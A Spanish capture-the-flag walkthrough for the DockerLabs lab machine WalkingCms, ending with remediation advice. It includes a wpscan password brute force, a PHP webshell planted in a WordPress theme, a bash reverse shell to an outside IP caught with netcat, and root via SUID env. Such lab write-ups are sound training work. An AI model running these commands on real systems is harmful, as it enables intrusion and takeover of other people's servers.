WalkingCms
Introducción
Sección titulada «Introducción»En este artículo se documenta la resolución completa de la máquina virtual WalkingCms, creada por El Pingüino de Mario y clasificada como fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible, estructurada y didáctica, explicando qué se hizo, por qué se realizó cada acción y cómo identificar patrones similares en otros entornos.
El proceso se desarrolla en tres fases:
- Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
- Explotación – Obtención de acceso inicial aprovechando vulnerabilidades en WordPress.
- Escalada de privilegios – Abuso de configuraciones inseguras (
SUID,cron,sudo) para obtener privilegios deroot.
⚠️ Aviso: Todas las acciones descritas se realizaron en un entorno controlado de laboratorio. No ejecutes pruebas intrusivas fuera de entornos autorizados.
Información general
Sección titulada «Información general»| Atributo | Detalle |
|---|---|
| Nombre | WalkingCms |
| Autor | El Pingüino de Mario |
| Dificultad | Fácil |
| Fecha de creación | 09/04/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»-
Descomprimir el paquete descargado desde DockerLabs:
Ventana de terminal unzip WalkingCms.zip -
Desplegar el contenedor con el script de instalación:
Ventana de terminal sudo bash auto_deploy.sh WalkingCms.tar
El script levanta automáticamente el contenedor Docker con los servicios necesarios y muestra la IP asignada al finalizar. Guarda esta dirección, ya que se utilizará durante el reconocimiento.
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización de trabajo
Sección titulada «1.1 Organización de trabajo»Creamos una estructura de carpetas para mantener orden y evidencia:
mkdir -p WalkingCms/{content,exploits,nmap,scripts}cd WalkingCmsConsejo: mantener los resultados organizados desde el inicio facilita la documentación y el análisis final.

1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Ejecutamos un barrido completo de puertos con Nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos detectados:
extractPorts allPorts
Resultados:
| Puerto | Servicio | Descripción |
|---|---|---|
| 80/tcp | HTTP | Sitio web principal (posible CMS) |
1.3 Enumeración web
Sección titulada «1.3 Enumeración web»Enumeramos rutas y recursos disponibles con Gobuster:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200 -o gobuster.txt
Rutas encontradas:
/index.php– Página principal del sitio.
/wordpress– Instalación activa de WordPress.
Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»Confirmamos que el servidor ejecuta WordPress, por lo que procedemos con una enumeración de usuarios y plugins usando wpscan:
wpscan --url http://172.17.0.2/wordpress/ --enumerate u,vpEl escaneo revela un usuario válido:

2.1 Ataque de fuerza bruta (Wpscan)
Sección titulada «2.1 Ataque de fuerza bruta (Wpscan)»Con el usuario mario identificado, intentamos un ataque de fuerza bruta utilizando el diccionario rockyou.txt:
wpscan --url http://172.17.0.2/wordpress/ -U mario -P /usr/share/wordlists/rockyou.txt
La herramienta encuentra credenciales válidas de acceso al panel administrativo.
2.2 Acceso al sistema
Sección titulada «2.2 Acceso al sistema»Con las credenciales obtenidas accedemos a wp-admin y aprovechamos la capacidad de subir archivos mediante la edición de temas o plugins.
Subimos una webshell PHP dentro del tema activo (twentytwentytwo), modificando el archivo index.php:

Desde el navegador ejecutamos la shell con una reverse shell codificada:
http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/index.php?cmd=bash -c "bash -i >& /dev/tcp/192.168.1.39/443 0>&1"En nuestra máquina atacante escuchamos con Netcat:
nc -lvnp 443Conexión establecida como usuario www-data.
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»Buscamos binarios con el bit SUID activado:
find / -perm -4000 2>/dev/nullEncontramos que el binario /usr/bin/env tiene el bit SUID activo:

Ejecutamos el siguiente comando para escalar privilegios:
env /bin/sh -p¡Acceso root conseguido!

Conclusión y aprendizajes
Sección titulada «Conclusión y aprendizajes»Cadena de explotación
Sección titulada «Cadena de explotación»- Enumeración: Descubrimiento de instalación WordPress.
- Explotación: Fuerza bruta exitosa sobre credenciales del usuario
mario. - Acceso inicial: Carga de una webshell mediante el editor de temas.
- Escalada de privilegios: Uso indebido del bit SUID en
/usr/bin/env.
Fallos de seguridad identificados
Sección titulada «Fallos de seguridad identificados»- Credenciales débiles reutilizadas.
- Permitir la edición de temas desde el panel de WordPress.
- Binarios con bit SUID activado de forma insegura (
env).
Recomendaciones (remediación)
Sección titulada «Recomendaciones (remediación)»- Implementar contraseñas robustas y rotación periódica.
- Desactivar la edición de archivos desde el panel de WordPress (
DISALLOW_FILE_EDITenwp-config.php). - Revisar y restringir los permisos SUID a los binarios estrictamente necesarios.
- Actualizar plugins, temas y la versión de WordPress regularmente.